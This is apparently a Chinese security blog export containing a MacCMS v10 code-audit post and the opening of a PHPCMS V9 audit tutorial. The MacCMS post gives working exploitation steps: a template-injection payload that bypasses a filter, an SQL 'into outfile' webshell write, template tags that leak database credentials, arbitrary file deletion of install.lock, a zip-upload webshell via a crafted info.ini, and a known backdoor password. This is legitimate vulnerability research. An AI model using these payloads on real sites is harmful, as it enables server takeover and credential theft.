class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseTag</span>(<span class="hljs-params">&<span class="hljs-variable">$content</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$regex</span> = <span class="hljs-keyword">$this</span>->getRegex(<span class="hljs-string">'tag'</span>);<br><span class="hljs-keyword">if</span> (preg_match_all(<span class="hljs-variable">$regex</span>, <span class="hljs-variable">$content</span>, <span class="hljs-variable">$matches</span>, PREG_SET_ORDER)) {<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$matches</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$match</span>) {<br> <span class="hljs-variable">$str</span> = stripslashes(<span class="hljs-variable">$match</span>[<span class="hljs-number">1</span>]);<br> <span class="hljs-variable">$flag</span> = substr(<span class="hljs-variable">$str</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>);<br> <span class="hljs-keyword">switch</span> (<span class="hljs-variable">$flag</span>) {<br><span class="hljs-keyword">case</span> <span class="hljs-string">':'</span>:<br> <span class="hljs-comment">// 输出某个函数的结果</span><br> <span class="hljs-variable">$str</span> = substr(<span class="hljs-variable">$str</span>, <span class="hljs-number">1</span>);<br> <span class="hljs-keyword">$this</span>->parseVar(<span class="hljs-variable">$str</span>);<br> <span class="hljs-variable">$str</span> = <span class="hljs-string">'<?php echo '</span> . <span class="hljs-variable">$str</span> . <span class="hljs-string">'; ?>'</span>;<br> <span class="hljs-keyword">break</span>;<br></code></pre></td></tr></table></figure><p>parseVar() 的代码如下:</p><ul><li>这里有个很关键的正则匹配,匹配结果如下图,这个正则会匹配 <code>$aaa.bbb,$aaa:bbb</code> 的参数形式</li></ul><img src="img/maccms/image-20211110102930865.png" alt="image-20211110102930865" style="zoom:50%;" /><blockquote><p>这是一个将正则表达式转换为图片的网站:<a href="https://jex.im/regulex">jex.im</a> 通过图片更好理解正则表达式</p><p>另外这里有个正则规则 <code>?></code> 一直没有百度到是什么,我转换为了 <code>?:</code> 理解</p></blockquote><ul><li>没有匹配到正则 则不做处理</li><li>通过正则匹配的代码我也没有细看,通过调试大概知道是怎样的转换形式</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseVar</span>(<span class="hljs-params">&<span class="hljs-variable">$varStr</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$varStr</span> = trim(<span class="hljs-variable">$varStr</span>);<br> <span class="hljs-keyword">if</span> (preg_match_all(<span class="hljs-string">'/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/'</span>, <span class="hljs-variable">$varStr</span>, <span class="hljs-variable">$matches</span>, PREG_OFFSET_CAPTURE)) {<br> ……}<br> <span class="hljs-keyword">return</span>;<br></code></pre></td></tr></table></figure><p>最后来总结下,会有一下的转换形式</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">1</span>)未匹配到正则,不处理<br>{:aaa}=>aaa=><span class="hljs-meta"><?php</span> <span class="hljs-keyword">echo</span> aaa; <span class="hljs-meta">?></span><br><span class="hljs-number">2</span>)数组参数<br>{:<span class="hljs-variable">$aaa</span>.bbb}=><span class="hljs-variable">$aaa</span>[<span class="hljs-string">'bbb'</span>]=><span class="hljs-meta"><?php</span> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$aaa</span>[<span class="hljs-string">'bbb'</span>]; <span class="hljs-meta">?></span><br><span class="hljs-number">3</span>)对象属性<br>{:<span class="hljs-variable">$aaa</span>:bbb}=><span class="hljs-variable">$aaa</span>->bbb=><span class="hljs-meta"><?php</span> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$aaa</span>->bbb; <span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>我们可以充分利用这个规则,写出如下格式:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php">{:<span class="hljs-variable">$a</span>=<span class="hljs-string">"phpinfo"</span>;<span class="hljs-variable">$a</span>()}=><span class="hljs-meta"><?php</span> <span class="hljs-keyword">echo</span> <span class="hljs-variable">$a</span>=<span class="hljs-string">"phpinfo()"</span>;<span class="hljs-variable">$a</span>(); <span class="hljs-meta">?></span><br><span class="hljs-comment">// 如果过滤了敏感字符,采用如下格式绕过</span><br>{:<span class="hljs-variable">$a</span>=<span class="hljs-string">"ph"</span>.<span class="hljs-string">"pinfo"</span>;<span class="hljs-variable">$a</span>()}<br></code></pre></td></tr></table></figure><p>然后看看模板编译结果:</p><img src="img/maccms/image-20211110112705189.png" alt="image-20211110112705189" style="zoom:50%;" /><p>在 v2022.1000.3024 版本中,便做了如下限制,<code>{:</code> 符号也被过滤了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$filter</span> = <span class="hljs-string">'<\?|php|eval|server|assert|get|post|request|cookie|session|input|env|config|call|global|dump|print|phpinfo|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell|base64|file|proc|preg|call|ini|{:'</span>;<br></code></pre></td></tr></table></figure><p>但是看代码,其实 $flag 为 <code>~、-、+</code> 符号时,处理是一样的,所以这个修复方案并没有解决问题,也从另外一个方面看出了代码维护者对漏洞原理或TP5底层代码并不熟悉</p><img src="img/maccms/image-20211110113331918.png" alt="image-20211110113331918" style="zoom:50%;" /><h4 id="poc-2"><a href="#poc-2" class="headerlink" title="poc"></a>poc</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">{~<span class="hljs-variable">$a</span>=<span class="hljs-string">"ph"</span>.<span class="hljs-string">"pinfo"</span>;<span class="hljs-variable">$a</span>()}<br></code></pre></td></tr></table></figure><h4 id="实战利用"><a href="#实战利用" class="headerlink" title="实战利用"></a>实战利用</h4><p>maccms 最新版本号是 v2022.1000.3024,这个版本在修改模板时过滤了很多字符串,导致模板文件本身的字符串也也被过滤了,导致整个功能显得有点鸡肋</p><p>为了利用这个功能,需要找到一个没有一点敏感字符的模板文件,我写了个脚本完成了这部分工作:</p><img src="img/maccms/image-20211110184609072.png" alt="image-20211110184609072" style="zoom:50%;" /><p>我这里找到一个不需要登陆的模板 public/paging(不同的主题模板文件不同),该模板被 vod/search.html 包含,vod/search 可直接访问。在后台修改 模板 public/paging ,插入poc:</p><img src="img/maccms/image-20211110185307718.png" alt="image-20211110185307718" style="zoom:50%;" /><p>然后访问使用到该模板的地方</p><img src="img/maccms/image-20211110185350700.png" alt="image-20211110185350700" style="zoom:50%;" /><h1 id="后台利用数据库功能"><a href="#后台利用数据库功能" class="headerlink" title="后台利用数据库功能"></a>后台利用数据库功能</h1><p>Maccms 后台有一个执行 sql 语句的地方,位于【数据库】-》【执行SQL语句】</p><img src="img/maccms/image-20211110185656727.png" alt="image-20211110185656727" style="zoom:50%;" /><h2 id="代码分析-4"><a href="#代码分析-4" class="headerlink" title="代码分析"></a>代码分析</h2><ul><li><code>$sql</code> 是客户端的参数,也就是要执行的sql语句</li><li><code>$sql</code> 以 select 字符开头不会进行任何处理,但这里是很好绕过的,可以看出这里本意是不想执行查询操作的。否则 <code>$sql</code> 将会用 <code>Db::execute()</code> 执行,<code>Db::execute()</code> 是 TP5 封装的执行原生sql的方法,是没有任何过滤的,所以利用这个功能我们是可以执行任意sql语句</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/admin/controller/Database.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sql</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>->request->isPost()){<br> <span class="hljs-variable">$param</span>=input();<br> <span class="hljs-variable">$sql</span> = trim(<span class="hljs-variable">$param</span>[<span class="hljs-string">'sql'</span>]);<br><br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$sql</span>)){<br> <span class="hljs-variable">$sql</span> = str_replace(<span class="hljs-string">'{pre}'</span>,config(<span class="hljs-string">'database.prefix'</span>),<span class="hljs-variable">$sql</span>);<br> <span class="hljs-comment">//查询语句返回结果集</span><br> <span class="hljs-keyword">if</span>(strtolower(substr(<span class="hljs-variable">$sql</span>,<span class="hljs-number">0</span>,<span class="hljs-number">6</span>))==<span class="hljs-string">"select"</span>){<br><br> }<br> <span class="hljs-keyword">else</span>{<br> Db::execute(<span class="hljs-variable">$sql</span>);<br> }<br> }<br> <span class="hljs-keyword">$this</span>->success(lang(<span class="hljs-string">'run_ok'</span>));<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->fetch(<span class="hljs-string">'admin@database/sql'</span>);<br>}<br></code></pre></td></tr></table></figure><h2 id="into-outfile-写入木马"><a href="#into-outfile-写入木马" class="headerlink" title="into outfile 写入木马"></a>into outfile 写入木马</h2><p>利用 SQL 写木马是常规操作,poc如下,加括号的原因是绕过 <code>strtolower(substr($sql,0,6))=="select"</code> 条件</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">(<span class="hljs-keyword">select</span> <span class="hljs-string">'<?php phpinfo();?>'</span> <span class="hljs-keyword">into</span> outfile <span class="hljs-string">'/var/www/1.php'</span>)<br></code></pre></td></tr></table></figure><p>不过这种利用方式首先要知道网站的根目录,其次还得看权限够不够</p><p>获取根目录上暂时没有找到好办法,不过这里有可以借用修改模板的地方,使其输出 <code>ROOT_PATH</code> 常量,这是保存 TP5 web 根目录的常量,代码如下,而且这种写法也不会被过滤,应该还是挺高效的:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">{<span class="hljs-variable">$Think</span>.ROOT_PATH}<br></code></pre></td></tr></table></figure><p>然后访问对应模板的页面获取到根目录,剩下的就是看有没有sql写文件的权限了</p><img src="img/maccms/image-20211111103505442.png" alt="image-20211111103505442" style="zoom:50%;" /><p>说到这,已经能感受到这个模板能做很多事,比如输出 TP5 的配置文件中的数据库连接参数,这样就能直接获取数据库权限</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">{<span class="hljs-variable">$Think</span>.config.database.username}<br><br>{<span class="hljs-variable">$Think</span>.config.database.password}<br></code></pre></td></tr></table></figure><p>这里的sql执行操作其实感觉也能做很多其他的事情,如很多程序会把数据库中的内容不禁过滤写入到文件中,利用这个功能,这里还能造成任意文件写入漏洞</p><h2 id="任意文件删除漏洞"><a href="#任意文件删除漏洞" class="headerlink" title="任意文件删除漏洞"></a>任意文件删除漏洞</h2><p>有了执行任意 sql 的权限后,就能修改数据库的任意数据,然后我就想看看程序有没有获取数据库数据做敏感操作的地方。然后找到了一处删除文件的功能,位于【基础】-》【附件管理】</p><img src="img/maccms/image-20211111105816211.png" alt="image-20211111105816211" style="zoom: 33%;" /><p>这里介绍的漏洞位于 v2020.1000.1068 版本之后。maccms 早期也爆出过任意文件删除漏洞,<a href="https://github.com/magicblack/maccms10/issues/346%EF%BC%8C%E5%8E%9F%E7%90%86%E5%92%8C%E8%BF%99%E9%87%8C%E5%B7%AE%E4%B8%8D%E5%A4%9A%EF%BC%8C%E4%B8%8D%E8%BF%87%E6%BC%8F%E6%B4%9E%E9%83%BD%E8%A2%AB%E4%BF%AE%E5%A4%8D%E4%BA%86">https://github.com/magicblack/maccms10/issues/346,原理和这里差不多,不过漏洞都被修复了</a></p><h3 id="代码分析-5"><a href="#代码分析-5" class="headerlink" title="代码分析"></a>代码分析</h3><p>删除功能的代码如下:</p><ul><li><code>$ids</code> 可以传入文件id,然后在数据库查找到id对应的文件路径 $v[‘annex_file’],最后拼接这个文件路径删除真实文件</li><li>删除文件前会对真实的文件路径做验证,但这个验证方法有点问题,只需要满足 <code>file_exists($pic) && (substr($pic,0,8) == "./upload")</code> 或 <code>count( explode("./",$pic) ) ==1</code> 的条件就可以了。而这里路径注定会加上 <code>./</code> ,似乎 <code>count( explode("./",$pic) ) ==1</code> 条件不好满足了</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//application/admin/controller/Annex.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">del</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$param</span> = input();<br> <span class="hljs-variable">$ids</span> = <span class="hljs-variable">$param</span>[<span class="hljs-string">'ids'</span>];<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$ids</span>)){<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$ids</span>)){<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$ids</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$v</span>){<br> <span class="hljs-variable">$ids</span>[<span class="hljs-variable">$k</span>] = str_replace(<span class="hljs-string">'./'</span>,<span class="hljs-string">''</span>,<span class="hljs-variable">$v</span>);<br> }<br> }<br> <span class="hljs-variable">$where</span>=[];<br> <span class="hljs-variable">$where</span>[<span class="hljs-string">'annex_id|annex_file'</span>] = [<span class="hljs-string">'in'</span>,<span class="hljs-variable">$ids</span>];<br> <span class="hljs-variable">$res</span> = model(<span class="hljs-string">'Annex'</span>)->delData(<span class="hljs-variable">$where</span>);<br> ……<br><span class="hljs-comment">//application/common/model/Annex.php</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delData</span>(<span class="hljs-params"><span class="hljs-variable">$where</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$list</span> = <span class="hljs-keyword">$this</span>->listData(<span class="hljs-variable">$where</span>,<span class="hljs-string">''</span>,<span class="hljs-number">1</span>,<span class="hljs-number">9999</span>);<br> <span class="hljs-variable">$path</span> = <span class="hljs-string">'./'</span>;<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$list</span>[<span class="hljs-string">'list'</span>] <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$v</span>){<br> <span class="hljs-variable">$pic</span> = <span class="hljs-variable">$path</span>.<span class="hljs-variable">$v</span>[<span class="hljs-string">'annex_file'</span>];<br> <span class="hljs-keyword">if</span>(file_exists(<span class="hljs-variable">$pic</span>) && (substr(<span class="hljs-variable">$pic</span>,<span class="hljs-number">0</span>,<span class="hljs-number">8</span>) == <span class="hljs-string">"./upload"</span>) || count( explode(<span class="hljs-string">"./"</span>,<span class="hljs-variable">$pic</span>) ) ==<span class="hljs-number">1</span>){<br> unlink(<span class="hljs-variable">$pic</span>);<br> }<br> }<br>……<br></code></pre></td></tr></table></figure><h3 id="实战利用-1"><a href="#实战利用-1" class="headerlink" title="实战利用"></a>实战利用</h3><p>maccms 有一个 install.lock 文件,删除该文件后可重新安装 maccms 系统,以删除该文件来演示这里的操作</p><p>1)向数据库插入要删除文件的路径</p><p>指定id好找文件,文件id什么的抓包就有了</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">UPDATE `maccms`.`mac_annex` <span class="hljs-keyword">SET</span> `annex_file` <span class="hljs-operator">=</span> <span class="hljs-string">'upload/../application/data/install/install.lock'</span> <span class="hljs-keyword">WHERE</span> `annex_id` <span class="hljs-operator">=</span> <span class="hljs-number">21</span><br></code></pre></td></tr></table></figure><p>2)利用删除功能删除文件</p><img src="img/maccms/image-20211111114529647.png" alt="image-20211111114529647" style="zoom:50%;" /><h1 id="其他问题"><a href="#其他问题" class="headerlink" title="其他问题"></a>其他问题</h1><h2 id="后台添加视频处存在存储xss"><a href="#后台添加视频处存在存储xss" class="headerlink" title="后台添加视频处存在存储xss"></a>后台添加视频处存在存储xss</h2><p>后台添加文章和添加视频处都有存储型xss,如下图所示,很多位置都能插入xss代码。最新版v2022.1000.3024(2020.9.9更新)依然存在这个漏洞</p><img src="img/maccms/image-20211111145304681.png" alt="image-20211111145304681" style="zoom: 33%;" /><p>在前台就能访问到插入的xss代码,还是有一定的危害</p><img src="img/maccms/image-20211111145518664.png" alt="image-20211111145518664" style="zoom:50%;" /><h2 id="后台离线安装应用上传木马"><a href="#后台离线安装应用上传木马" class="headerlink" title="后台离线安装应用上传木马"></a>后台离线安装应用上传木马</h2><p>在早期版本中,后台可以上传zip压缩包,maccms会解压后保存</p><img src="img/maccms/image-20211111165511809.png" alt="image-20211111165511809" style="zoom:50%;" /><p>该功能关键代码如下图,压缩包的关键是 info.ini 文件</p><img src="img/maccms/image-20211111170107336.png" alt="image-20211111170107336" style="zoom:50%;" /><p>系统本身有一份 info.ini ,复制过来修改一下就行,我修改的 info.ini 如下,注意 name 将决定上传的目录名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php">name = shell<br>title = test<br>intro = test<br>author = MagicBlack<br>website = http:<span class="hljs-comment">//www.maccms.la</span><br>version = <span class="hljs-number">1.0</span>.<span class="hljs-number">0</span><br>state = <span class="hljs-number">0</span><br>url = /admin.php/addons/shell.html<br></code></pre></td></tr></table></figure><p>然后把要上传的文件和 info.ini 放在同一目录并压缩,注意直接压缩上传的文件,压缩文件中不要有目录</p><img src="img/maccms/image-20211111170755895.png" alt="image-20211111170755895" style="zoom:50%;" /><p>上传压缩包,解压的文件将被放到 addons/shell 目录下,这里的shell就是info.ini中的name,然后访问上传的文件即可</p><img src="img/maccms/image-20211111174023816.png" alt="image-20211111174023816" style="zoom:50%;" /><h3 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h3><p>在 v2022.1000.3005 版本中(2020.12.13),该功能被禁用了,直接exit退出了</p><p><img src="img/maccms/image-20211111172350575.png" alt="image-20211111172350575"></p><h2 id="假冒网站留后门"><a href="#假冒网站留后门" class="headerlink" title="假冒网站留后门"></a>假冒网站留后门</h2><p>上面看了 magicblack 和 maccmspro 的闹剧,其实在2019年,maccms.com 关闭后,就出现过仿冒的网站,域名为 maccmsv10.com,很多人下载了仿冒网站的源码,而源码中却留有后门</p><p>至今过去了两年的时间,仿冒网站也关闭了,这里就不多介绍了,估计现在使用这套代码的网站也是少之又少,这里记录一下这个版本的木马,也许运气好能遇到</p><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs taggerscript">maccms10<span class="hljs-symbol">\e</span>xtend<span class="hljs-symbol">\u</span>pyun<span class="hljs-symbol">\s</span>rc<span class="hljs-symbol">\U</span>pyun<span class="hljs-symbol">\A</span>pi<span class="hljs-symbol">\F</span>ormat.php<br>maccms10<span class="hljs-symbol">\e</span>xtend<span class="hljs-symbol">\Q</span>cloud<span class="hljs-symbol">\S</span>ms<span class="hljs-symbol">\S</span>ms.php<br><br>密码 WorldFilledWithLove<br></code></pre></td></tr></table></figure><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本次主要审计了 MacCMS v10的代码,发现其中的问题主要在于登陆认证,模板编辑,数据库功能操作上,仔细研究代码,发现很多问题都在于作者并不熟悉 TP5 底层代码的处理</p><p>挂马:<a href="https://github.com/magicblack/maccms10/issues/742">https://github.com/magicblack/maccms10/issues/742</a></p><p>上传木马:<a href="https://github.com/magicblack/maccms10/issues/738">https://github.com/magicblack/maccms10/issues/738</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
</tags>
</entry>
<entry>
<title>通过 PHPCMS 学习 php 代码审计</title>
<link href="/2021/09/phpcms/"/>
<url>/2021/09/phpcms/</url>
<content type="html"><![CDATA[<h1 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h1><p>为了练习练习php代码审计,这次选中了PHPCMS V9.6.0,这个版本大致发布与2015年12月,因为该版本具有几个有趣的漏洞,大概在2017年4月爆出,审计下来应该收获不少</p><p>phpcms也是一个网站内容管理系统,官网已经访问不了了。目前看到phpcms还在维护版本为v9.6.4</p><p>其实这个CMS现在也没落了,但我在看 PHPCMS 的介绍(很多介绍都来自百度百科)时对它的历史还是小有兴趣。</p><hr><p>PHPCMS最早于2005年发布,老版本一般以年份命名,最出名的老版本是PhpCMS2008</p><p>在2008年酷6网收购phpcms,2009年盛大收购酷6网,PHPCMS业务也被整体移交给盛大</p><p>2010年12月29号phpcms v9正式版发布,也就是本文要审计的系列</p><p>以上的具体时间可能有些出入,但可以大致看出PHPCMS活跃的年代。PHPCMS流行时,甚至一度和帝国、DedeCMS称为国内大三CMS</p><p>我甚至还在网上找到了PHPCMS V9的开发文档,可见它确实火过哈哈哈</p><p>开发文档:<a href="http://phpcms.p2hp.com/">http://phpcms.p2hp.com/</a> <a href="https://www.w3cschool.cn/ph_cms/">https://www.w3cschool.cn/ph_cms/</a></p><p>PHPCMS 论坛:<a href="https://bbs.phpcms.pro/">https://bbs.phpcms.pro/</a></p><p>安装过程就不记录了,记得选择 <em>全新安装PHPCMS V9</em>,因为这个我重新安装了一次。默认后台密码是phpcms/phpcms</p><img src="img/phpcms/image-20210827142457806.png" alt="image-20210827142457806" style="zoom:50%;" /><h1 id="0x01-全局分析"><a href="#0x01-全局分析" class="headerlink" title="0x01 全局分析"></a>0x01 全局分析</h1><p>PHPCMS V9 的框架就比较成熟了,为了弄清PHPCMS的流程,来跟踪一下index.php的执行流程</p><h2 id="index-php"><a href="#index-php" class="headerlink" title="index.php"></a>index.php</h2><blockquote><p>index.php</p></blockquote><p>index.php就是PHPCMS V9的入口文件,即使是后台应用也需要通过这个入口文件,可以看到在 PHPCMS 中入口文件只有3行代码了</p><ul><li>定义 <code>PHPCMS_PATH</code> 常量,为PHPCMS的web根目录</li><li>加载 <code>phpcms/base.php</code> 文件,这是<strong>PHPCMS框架</strong>的引导文件(注意了,PHPCMS是有一个明显的框架结构)。base.php会定义大量常量和 <code>pc_base类</code></li><li>调用 <code>pc_base类</code> 中的 <code>creat_app()</code> 方法,初始化应用程序</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br>define(<span class="hljs-string">'PHPCMS_PATH'</span>, dirname(<span class="hljs-keyword">__FILE__</span>).DIRECTORY_SEPARATOR);<br><span class="hljs-keyword">include</span> PHPCMS_PATH.<span class="hljs-string">'/phpcms/base.php'</span>;<br>pc_base::creat_app();<br></code></pre></td></tr></table></figure><h2 id="base-php"><a href="#base-php" class="headerlink" title="base.php"></a>base.php</h2><blockquote><p>phpcms/base.php</p></blockquote><p>index.php入口文件主要通过加载base.php去完成大量初始化工作,base.php主要做了以下工作</p><h3 id="1、定义常量"><a href="#1、定义常量" class="headerlink" title="1、定义常量"></a>1、定义常量</h3><img src="img/phpcms/image-20210713164008292.png" alt="image-20210713164008292" style="zoom: 33%;" /><h3 id="2、定义-pc-base类"><a href="#2、定义-pc-base类" class="headerlink" title="2、定义 pc_base类"></a>2、定义 <code>pc_base类</code></h3><p>该类定义了很多静态方法如初始化应用程序,加载函数,加载类,自动加载等方法。通过 <code>类名::属性/方法</code> 的方式调用</p><blockquote><p>这里记录一个小小的web开发知识点,很多程序喜欢用类名调用静态方法而不用实例化对象,这种方式占用内存低,效率更高</p></blockquote><p>这里为了更好理解后面的代码,分析一下<strong>pc_base类</strong>的常用静态方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">pc_base</span> </span>{<br> <span class="hljs-comment">// 加载系统类,$initialize决定是否实例化加载的类对象,其中限制了文件为:phpcms/libs/classes/$classname.class.php</span><br> <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_sys_class</span>(<span class="hljs-params"><span class="hljs-variable">$classname</span>, <span class="hljs-variable">$path</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$initialize</span> = <span class="hljs-number">1</span></span>) </span>{<br><span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::_load_class(<span class="hljs-variable">$classname</span>, <span class="hljs-variable">$path</span>, <span class="hljs-variable">$initialize</span>);<br>}<br> <span class="hljs-comment">// 加载应用类,$initialize决定是否实例化加载的类对象,其中限制了文件为 phpcms/modules/$m/classes/$classname.class.php</span><br> <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_app_class</span>(<span class="hljs-params"><span class="hljs-variable">$classname</span>, <span class="hljs-variable">$m</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$initialize</span> = <span class="hljs-number">1</span></span>) </span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::_load_class(<span class="hljs-variable">$classname</span>, <span class="hljs-string">'modules'</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$m</span>.DIRECTORY_SEPARATOR.<span class="hljs-string">'classes'</span>, <span class="hljs-variable">$initialize</span>);<br> }<br> <span class="hljs-comment">// 加载系统的函数库,其中限制了文件为:phpcms/libs/functions/$func.func.php,这些文件都封装了很多常用函数</span><br> <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_sys_func</span>(<span class="hljs-params"><span class="hljs-variable">$func</span></span>) </span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">self</span>::_load_func(<span class="hljs-variable">$func</span>); <span class="hljs-comment">//底层是include实现</span><br> }<br> <span class="hljs-comment">// 加载配置文件,限制配置文件为:caches/configs/$file.php,其中配置项都以数组形式保存</span><br> <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">load_config</span>(<span class="hljs-params"><span class="hljs-variable">$file</span>, <span class="hljs-variable">$key</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$default</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$reload</span> = <span class="hljs-literal">false</span></span>) </span>{<br> <span class="hljs-variable">$path</span> = CACHE_PATH.<span class="hljs-string">'configs'</span>.DIRECTORY_SEPARATOR.<span class="hljs-variable">$file</span>.<span class="hljs-string">'.php'</span>;<br> <span class="hljs-variable">$configs</span>[<span class="hljs-variable">$file</span>] = <span class="hljs-keyword">include</span> <span class="hljs-variable">$path</span>;<br> }<br> <span class="hljs-comment">// 加载数据模型并实例化,其中限制了文件为:phpcms/model/$classname.class.php</span><br> 